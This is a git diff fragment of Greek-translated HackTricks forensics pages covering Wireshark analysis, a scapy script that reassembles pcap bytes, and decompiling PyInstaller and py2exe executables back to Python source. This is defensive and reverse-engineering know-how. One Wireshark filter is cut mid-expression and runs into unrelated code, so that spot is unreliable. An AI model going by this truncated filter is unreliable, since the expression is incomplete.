* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Βελτιώστε τις δεξιότητες σας στο Wireshark
|
||||||
|
|
||||||
|
### Οδηγοί
|
||||||
|
|
||||||
|
Οι παρακάτω οδηγοί είναι εκπληκτικοί για να μάθετε μερικά ψυχαγωγικά βασικά κόλπα:
|
||||||
|
|
||||||
|
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
|
||||||
|
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
|
||||||
|
* [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
|
||||||
|
* [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
|
||||||
|
|
||||||
|
### Αναλυμένες πληροφορίες
|
||||||
|
|
||||||
|
**Ειδικές πληροφορίες**
|
||||||
|
|
||||||
|
Κάνοντας κλικ στο _**Ανάλυση** --> **Ειδικές πληροφορίες**_ θα έχετε μια **επισκόπηση** του τι συμβαίνει στα αναλυμένα πακέτα:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (570).png>)
|
||||||
|
|
||||||
|
**Επιλυμένες διευθύνσεις**
|
||||||
|
|
||||||
|
Στο _**Στατιστικά --> Επιλυμένες διευθύνσεις**_ μπορείτε να βρείτε πολλές πληροφορίες που έχουν "**επιλυθεί**" από το wireshark, όπως θύρα/μεταφορά σε πρωτόκολλο, MAC στον κατασκευαστή, κλπ. Είναι ενδιαφέρον να γνωρίζετε τι εμπλέκεται στην επικοινωνία.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (571).png>)
|
||||||
|
|
||||||
|
**Ιεραρχία πρωτοκόλλων**
|
||||||
|
|
||||||
|
Στο _**Στατιστικά --> Ιεραρχία πρωτοκόλλων**_ μπορείτε να βρείτε τα **πρωτόκολλα** που εμπλέκονται στην επικοινωνία και πληροφορίες για αυτά.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (572).png>)
|
||||||
|
|
||||||
|
**Συνομιλίες**
|
||||||
|
|
||||||
|
Στο _**Στατιστικά --> Συνομιλίες**_ μπορείτε να βρείτε ένα **σύνολο πληροφοριών για τις συνομιλίες** στην επικοινωνία και πληροφορίες για αυτές.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (573).png>)
|
||||||
|
|
||||||
|
**Σημεία άφιξης**
|
||||||
|
|
||||||
|
Στο _**Στατιστικά --> Σημεία άφιξης**_ μπορείτε να βρείτε ένα **σύνολο πληροφοριών για τα σημεία άφιξης** στην επικοινωνία και πληροφορίες για καθένα από αυτά.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (575).png>)
|
||||||
|
|
||||||
|
**Πληροφορίες DNS**
|
||||||
|
|
||||||
|
Στο _**Στατιστικά --> DNS**_ μπορείτε να βρείτε στατιστικά σχετικά με τα καταγεγραμμένα αιτήματα DNS.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (577).png>)
|
||||||
|
|
||||||
|
**Διάγραμμα I/O**
|
||||||
|
|
||||||
|
Στο _**Στατιστικά --> Διάγραμμα I/O**_ μπορείτε να βρείτε ένα **διάγραμμα της επικοινωνίας**.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (574).png>)
|
||||||
|
|
||||||
|
### Φίλτρα
|
||||||
|
|
||||||
|
Εδώ μπορείτε να βρείτε φίλτρα wireshark ανάλογα με το πρωτόκολλο: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||||
|
Άλλα ενδιαφέροντα φίλτρα:
|
||||||
|
|
||||||
|
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
|
||||||
|
* Κίνηση HTTP και αρχική κίνηση HTTPS
|
||||||
|
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
|
||||||
|
* Κίνηση HTTP και αρχική κίνηση HTTPS + TCP SYN
|
||||||
|
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and
|
||||||
|
```python
|
||||||
|
from scapy.all import *
|
||||||
|
|
||||||
|
pcap = rdpcap("final2.pcapng")
|
||||||
|
|
||||||
|
def rm_data(data):
|
||||||
|
splitted = data.split(b"DATA")
|
||||||
|
if len(splitted) == 1:
|
||||||
|
return data
|
||||||
|
else:
|
||||||
|
return splitted[0]+splitted[1][4:]
|
||||||
|
|
||||||
|
all_bytes = b""
|
||||||
|
for pkt in pcap:
|
||||||
|
if Raw in pkt:
|
||||||
|
a = pkt[Raw]
|
||||||
|
if b"WRTE" == bytes(a)[:4]:
|
||||||
|
all_bytes += rm_data(bytes(a)[24:])
|
||||||
|
else:
|
||||||
|
all_bytes += rm_data(bytes(a))
|
||||||
|
print(all_bytes)
|
||||||
|
|
||||||
|
f = open('all_bytes.data', 'w+b')
|
||||||
|
f.write(all_bytes)
|
||||||
|
f.close()
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,236 @@
|
||||||
|
# Αποσυναρμολόγηση μεταγλωττισμένων δυαδικών αρχείων Python (exe, elf) - Ανάκτηση από το .pyc
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερευνητής Ερυθρής Ομάδας AWS του HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
|
||||||
|
|
||||||
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
## Από Μεταγλωττισμένο Δυαδικό σε .pyc
|
||||||
|
|
||||||
|
Από ένα **ELF** μεταγλωττισμένο δυαδικό μπορείτε να **ανακτήσετε το .pyc** με:
|
||||||
|
```bash
|
||||||
|
pyi-archive_viewer <binary>
|
||||||
|
# The list of python modules will be given here:
|
||||||
|
[(0, 230, 311, 1, 'm', 'struct'),
|
||||||
|
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
|
||||||
|
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
|
||||||
|
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
|
||||||
|
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
|
||||||
|
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
|
||||||
|
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
|
||||||
|
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
|
||||||
|
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
|
||||||
|
(15535, 2514, 4421, 1, 's', 'binary_name'),
|
||||||
|
...
|
||||||
|
|
||||||
|
? X binary_name
|
||||||
|
to filename? /tmp/binary.pyc
|
||||||
|
```
|
||||||
|
Σε ένα **δυαδικό αρχείο εκτελέσιμου Python**, μπορείτε να **λάβετε το αρχείο .pyc** εκτελώντας:
|
||||||
|
```bash
|
||||||
|
python pyinstxtractor.py executable.exe
|
||||||
|
```
|
||||||
|
## Από το .pyc στον κώδικα Python
|
||||||
|
|
||||||
|
Για τα δεδομένα **.pyc** ("μεταγλωττισμένο" python) θα πρέπει να ξεκινήσετε προσπαθώντας να **εξάγετε** τον **αρχικό** **κώδικα** **Python**:
|
||||||
|
```bash
|
||||||
|
uncompyle6 binary.pyc > decompiled.py
|
||||||
|
```
|
||||||
|
**Βεβαιωθείτε** ότι το δυαδικό αρχείο έχει την **επέκταση** "**.pyc**" (αν όχι, το uncompyle6 δεν θα λειτουργήσει)
|
||||||
|
|
||||||
|
Κατά την εκτέλεση του **uncompyle6** ενδέχεται να συναντήσετε τα **παρακάτω σφάλματα**:
|
||||||
|
|
||||||
|
### Σφάλμα: Άγνωστος μαγικός αριθμός 227
|
||||||
|
```bash
|
||||||
|
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
||||||
|
Unknown magic number 227 in /tmp/binary.pyc
|
||||||
|
```
|
||||||
|
Για να διορθώσετε αυτό, χρειάζεται να **προσθέσετε τον σωστό μαγικό αριθμό** στην αρχή του δημιουργημένου αρχείου.
|
||||||
|
|
||||||
|
**Οι μαγικοί αριθμοί διαφέρουν ανάλογα με την έκδοση της Python**, για να πάρετε τον μαγικό αριθμό της **Python 3.8** θα πρέπει να **ανοίξετε ένα τερματικό Python 3.8** και να εκτελέσετε:
|
||||||
|
```
|
||||||
|
>> import imp
|
||||||
|
>> imp.get_magic().hex()
|
||||||
|
'550d0d0a'
|
||||||
|
```
|
||||||
|
Ο **μαγικός αριθμός** σε αυτήν την περίπτωση για το python3.8 είναι **`0x550d0d0a`**, στη συνέχεια, για να διορθώσετε αυτό το σφάλμα θα πρέπει να **προσθέσετε** στην **αρχή** του **αρχείου .pyc** τα ακόλουθα bytes: `0x0d550a0d000000000000000000000000`
|
||||||
|
|
||||||
|
**Μόλις** προσθέσετε αυτήν τη μαγική κεφαλίδα, το **σφάλμα θα πρέπει να διορθωθεί.**
|
||||||
|
|
||||||
|
Έτσι θα μοιάζει μια σωστά προστεθείσα **μαγική κεφαλίδα .pyc του python3.8**:
|
||||||
|
```bash
|
||||||
|
hexdump 'binary.pyc' | head
|
||||||
|
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||||
|
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
|
||||||
|
0000020 0700 0000 4000 0000 7300 0132 0000 0064
|
||||||
|
0000030 0164 006c 005a 0064 0164 016c 015a 0064
|
||||||
|
```
|
||||||
|
### Σφάλμα: Αποσυναρμολόγηση γενικών σφαλμάτων
|
||||||
|
|
||||||
|
**Άλλα σφάλματα** όπως: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` μπορεί να εμφανιστούν.
|
||||||
|
|
||||||
|
Αυτό πιθανότατα σημαίνει ότι **δεν έχετε προσθέσει σωστά** τον μαγικό αριθμό ή ότι δεν έχετε **χρησιμοποιήσει** τον **σωστό μαγικό αριθμό**, οπότε βεβαιωθείτε ότι χρησιμοποιείτε τον σωστό (ή δοκιμάστε έναν νέο).
|
||||||
|
|
||||||
|
Ελέγξτε την προηγούμενη τεκμηρίωση σφαλμάτων.
|
||||||
|
|
||||||
|
## Αυτόματο Εργαλείο
|
||||||
|
|
||||||
|
Το [**εργαλείο python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) λειτουργεί ως συνδυασμός αρκετών εργαλείων που είναι διαθέσιμα στην κοινότητα και σχεδιάστηκαν για να βοηθήσουν τους ερευνητές στην αποσυμπίεση και αποσυναρμολόγηση εκτελέσιμων που έχουν γραφτεί σε Python, ειδικά αυτών που δημιουργήθηκαν με τα py2exe και pyinstaller. Περιλαμβάνει κανόνες YARA για την αναγνώριση εάν ένα εκτελέσιμο βασίζεται σε Python και επιβεβαιώνει το εργαλείο δημιουργίας.
|
||||||
|
|
||||||
|
### ImportError: Όνομα αρχείου: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' δεν υπάρχει
|
||||||
|
|
||||||
|
Ένα συνηθισμένο πρόβλημα που συναντάται εμπλέκει ένα ατελές αρχείο bytecode Python που προκύπτει από τη διαδικασία **αποσυμπίεσης με το unpy2exe ή το pyinstxtractor**, το οποίο στη συνέχεια **αποτυγχάνει να αναγνωριστεί από το uncompyle6 λόγω απουσιάζουσας αριθμησης έκδοσης bytecode Python**. Για να αντιμετωπιστεί αυτό, προστέθηκε μια επιλογή προσάρτησης, η οποία προσθέτει τον απαραίτητο αριθμό έκδοσης bytecode Python, διευκολύνοντας τη διαδικασία αποσυναρμολόγησης.
|
||||||
|
|
||||||
|
Παράδειγμα του προβλήματος:
|
||||||
|
```python
|
||||||
|
# Error when attempting to decompile without the prepend option
|
||||||
|
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||||
|
Traceback (most recent call last):
|
||||||
|
...
|
||||||
|
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
|
||||||
|
```
|
||||||
|
|
||||||
|
```python
|
||||||
|
# Successful decompilation after using the prepend option
|
||||||
|
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
||||||
|
[*] On Python 2.7
|
||||||
|
[+] Magic bytes are already appended.
|
||||||
|
|
||||||
|
# Successfully decompiled file
|
||||||
|
[+] Successfully decompiled.
|
||||||
|
```
|
||||||
|
## Ανάλυση python assembly
|
||||||
|
|
||||||
|
Αν δεν μπορέσατε να εξάγετε το "πρωτότυπο" κώδικα Python ακολουθώντας τα προηγούμενα βήματα, τότε μπορείτε να προσπαθήσετε να **εξάγετε** το **assembly** (αλλά **δεν είναι πολύ περιγραφικό**, οπότε **προσπαθήστε** να εξάγετε **ξανά** τον πρωτότυπο κώδικα). Σε [αυτό το σύνδεσμο](https://bits.theorem.co/protecting-a-python-codebase/) βρήκα έναν πολύ απλό κώδικα για **αποσυναρμολόγηση** του αρχείου _.pyc_ (καλή τύχη στην κατανόηση της ροής του κώδικα). Αν το αρχείο _.pyc_ είναι από Python 2, χρησιμοποιήστε την Python 2:
|
||||||
|
```bash
|
||||||
|
>>> import dis
|
||||||
|
>>> import marshal
|
||||||
|
>>> import struct
|
||||||
|
>>> import imp
|
||||||
|
>>>
|
||||||
|
>>> with open('hello.pyc', 'r') as f: # Read the binary file
|
||||||
|
... magic = f.read(4)
|
||||||
|
... timestamp = f.read(4)
|
||||||
|
... code = f.read()
|
||||||
|
...
|
||||||
|
>>>
|
||||||
|
>>> # Unpack the structured content and un-marshal the code
|
||||||
|
>>> magic = struct.unpack('<H', magic[:2])
|
||||||
|
>>> timestamp = struct.unpack('<I', timestamp)
|
||||||
|
>>> code = marshal.loads(code)
|
||||||
|
>>> magic, timestamp, code
|
||||||
|
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
|
||||||
|
>>>
|
||||||
|
>>> # Verify if the magic number corresponds with the current python version
|
||||||
|
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
|
||||||
|
True
|
||||||
|
>>>
|
||||||
|
>>> # Disassemble the code object
|
||||||
|
>>> dis.disassemble(code)
|
||||||
|
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
|
||||||
|
3 MAKE_FUNCTION 0
|
||||||
|
6 STORE_NAME 0 (hello_world)
|
||||||
|
9 LOAD_CONST 1 (None)
|
||||||
|
12 RETURN_VALUE
|
||||||
|
>>>
|
||||||
|
>>> # Also disassemble that const being loaded (our function)
|
||||||
|
>>> dis.disassemble(code.co_consts[0])
|
||||||
|
2 0 LOAD_CONST 1 ('Hello {0}')
|
||||||
|
3 LOAD_ATTR 0 (format)
|
||||||
|
6 LOAD_FAST 0 (name)
|
||||||
|
9 CALL_FUNCTION 1
|
||||||
|
12 PRINT_ITEM
|
||||||
|
13 PRINT_NEWLINE
|
||||||
|
14 LOAD_CONST 0 (None)
|
||||||
|
17 RETURN_VALUE
|
||||||
|
```
|
||||||
|
## Μετατροπή από Python σε εκτελέσιμο
|
||||||
|
|
||||||
|
Για να ξεκινήσουμε, θα σας δείξουμε πώς μπορούν τα φορτία να μεταγλωττιστούν σε py2exe και PyInstaller.
|
||||||
|
|
||||||
|
### Για να δημιουργήσετε ένα φορτίο χρησιμοποιώντας το py2exe:
|
||||||
|
|
||||||
|
1. Εγκαταστήστε το πακέτο py2exe από [http://www.py2exe.org/](http://www.py2exe.org)
|
||||||
|
2. Για το φορτίο (σε αυτήν την περίπτωση, θα το ονομάσουμε hello.py), χρησιμοποιήστε ένα σενάριο όπως αυτό στο Σχήμα 1. Η επιλογή "bundle\_files" με την τιμή 1 θα συγκεντρώσει τα πάντα, συμπεριλαμβανομένου του διερμηνέα Python, σε ένα εκτελέσιμο αρχείο.
|
||||||
|
3. Μόλις το σενάριο είναι έτοιμο, θα δώσουμε την εντολή "python setup.py py2exe". Αυτό θα δημιουργήσει το εκτελέσιμο, ακριβώς όπως στο Σχήμα 2.
|
||||||
|
```python
|
||||||
|
from distutils.core import setup
|
||||||
|
import py2exe, sys, os
|
||||||
|
|
||||||
|
sys.argv.append('py2exe')
|
||||||
|
|
||||||
|
setup(
|
||||||
|
options = {'py2exe': {'bundle_files': 1}},
|
||||||
|
#windows = [{'script': "hello.py"}],
|
||||||
|
console = [{'script': "hello.py"}],
|
||||||
|
zipfile = None,
|
||||||
|
)
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
C:\Users\test\Desktop\test>python setup.py py2exe
|
||||||
|
running py2exe
|
||||||
|
*** searching for required modules ***
|
||||||
|
*** parsing results ***
|
||||||
|
*** finding dlls needed ***
|
||||||
|
*** create binaries ***
|
||||||
|
*** byte compile python files ***
|
||||||
|
*** copy extensions ***
|
||||||
|
*** copy dlls ***
|
||||||
|
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
|
||||||
|
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
||||||
|
```
|
||||||
|
### Για να δημιουργήσετε ένα payload χρησιμοποιώντας το PyInstaller:
|
||||||
|
|
||||||
|
1. Εγκαταστήστε το PyInstaller χρησιμοποιώντας το pip (pip install pyinstaller).
|
||||||
|
2. Στη συνέχεια, θα δώσουμε την εντολή "pyinstaller --onefile hello.py" (να θυμάστε ότι το 'hello.py' είναι το payload μας). Αυτό θα συσκευάσει τα πάντα σε ένα εκτελέσιμο αρχείο.
|
||||||
|
```
|
||||||
|
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||||
|
108 INFO: PyInstaller: 3.3.1
|
||||||
|
108 INFO: Python: 2.7.14
|
||||||
|
108 INFO: Platform: Windows-10-10.0.16299
|
||||||
|
………………………………
|
||||||
|
5967 INFO: checking EXE
|
||||||
|
5967 INFO: Building EXE because out00-EXE.toc is non existent
|
||||||
|
5982 INFO: Building EXE from out00-EXE.toc
|
||||||
|
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
|
||||||
|
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
|
||||||
|
```
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
|
||||||
|
|
||||||
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,52 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Εδώ μπορείτε να βρείτε ενδιαφέρουσες τεχνικές για συγκεκριμένους τύπους αρχείων και/ή λογισμικού:
|
||||||
|
|
||||||
|
{% page-ref page=".pyc.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="browser-artifacts.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="desofuscation-vbs-cscript.exe.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="local-cloud-storage.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="office-file-analysis.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="pdf-file-analysis.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="png-tricks.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="video-and-audio-file-analysis.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="zips-tricks.md" %}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,150 @@
|
||||||
|
# Αποτυπώματα Περιηγητή
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
